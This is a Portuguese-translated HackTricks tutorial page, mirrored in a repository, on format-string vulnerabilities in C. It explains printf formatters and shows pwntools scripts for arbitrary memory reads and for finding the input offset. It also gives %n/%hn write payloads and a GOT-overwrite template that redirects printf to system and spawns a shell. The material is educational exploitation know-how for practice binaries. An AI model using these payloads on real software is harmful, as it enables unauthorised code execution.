Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/binary-exploitation/format-strings
History
Translator 495441980c Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
2024-05-05 22:04:08 +00:00
..
format-strings-arbitrary-read-example.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:04:08 +00:00
format-strings-template.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:15:58 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-04-15 03:55:24 +00:00

README.md

Strings de Formato

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Informação Básica

Em C, printf é uma função que pode ser usada para imprimir uma string. O primeiro parâmetro que essa função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores para substituir os formatadores do texto bruto.

Outras funções vulneráveis são sprintf() e fprintf().

A vulnerabilidade ocorre quando um texto do atacante é usado como o primeiro argumento para essa função. O atacante será capaz de criar uma entrada especial abusando das capacidades de strings de formato printf para ler e escrever quaisquer dados em qualquer endereço (legível/gravável). Sendo capaz, dessa forma, de executar código arbitrário.

Formatadores:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Exemplos:

  • Exemplo vulnerável:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso Normal:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Com Argumentos Ausentes:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf vulnerável:
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

Acessando Ponteiros

O formato %<n>$x, onde n é um número, permite indicar ao printf para selecionar o parâmetro n (da pilha). Portanto, se você deseja ler o 4º parâmetro da pilha usando printf, você poderia fazer:

printf("%x %x %x %x")

e você leria do primeiro ao quarto parâmetro.

Ou você poderia fazer:

printf("$4%x")

e leia diretamente o quarto.

Observe que o atacante controla o parâmetro printf, o que basicamente significa que sua entrada estará na pilha quando printf for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.

{% hint style="danger" %} Um atacante controlando essa entrada será capaz de adicionar um endereço arbitrário na pilha e fazer com que o printf acesse-os. Na próxima seção será explicado como usar esse comportamento. {% endhint %}

Leitura Arbitrária

É possível usar o formatador %n$s para fazer com que o printf obtenha o endereço situado na posição n, seguindo-o e imprimi-lo como se fosse uma string (imprimir até encontrar um 0x00). Portanto, se o endereço base do binário for 0x8048000, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Note que não pode colocar o endereço 0x8048000 no início da entrada, pois a string será concatenada com 0x00 no final desse endereço. {% endhint %}

Encontrar o deslocamento

Para encontrar o deslocamento para a sua entrada, você pode enviar 4 ou 8 bytes (0x41414141) seguidos por %1$x e aumentar o valor até recuperar os A's.

Força bruta do deslocamento do printf ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Quão útil

Leituras arbitrárias podem ser úteis para:

- **Despejar** o **binário** da memória
- **Acessar partes específicas da memória onde informações sensíveis** são armazenadas (como canários, chaves de criptografia ou senhas personalizadas como neste [desafio de CTF](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Escrita Arbitrária**

O formatador **`$<num>%n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever tantos caracteres quanto desejar com printf, ele poderá fazer com que **`$<num>%n`** escreva um número arbitrário em um endereço arbitrário.

Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada, para fazer isso, é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

No entanto, observe que geralmente, para escrever um endereço como 0x08049724 (que é um número ENORME para escrever de uma vez), é usado $hn em vez de $n. Isso permite escrever apenas 2 Bytes. Portanto, essa operação é feita duas vezes, uma para os 2B mais significativos do endereço e outra vez para os menos significativos.

Portanto, essa vulnerabilidade permite escrever qualquer coisa em qualquer endereço (escrita arbitrária).

Neste exemplo, o objetivo será sobrescrever o endereço de uma função na tabela GOT que será chamada posteriormente. Embora isso possa abusar de outras técnicas de escrita arbitrária para execução:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Vamos sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system.
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você escreve primeiro 2Bytes do endereço e depois os outros 2. Para fazer isso, é usado $hn.

  • HOB é chamado para os 2 bytes mais altos do endereço
  • LOB é chamado para os 2 bytes mais baixos do endereço

Então, devido ao funcionamento da string de formato, você precisa escrever primeiro o menor de [HOB, LOB] e depois o outro.

Se HOB < LOB
[endereço+2][endereço]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Se HOB > LOB
[endereço+2][endereço]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Modelo do Pwntools

Você pode encontrar um modelo para preparar um exploit para esse tipo de vulnerabilidade em:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Ou este exemplo básico de aqui:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Strings de Formato para BOF

É possível abusar das ações de escrita de uma vulnerabilidade de strings de formato para escrever em endereços da pilha e explorar um tipo de vulnerabilidade de estouro de buffer.

Outros Exemplos e Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!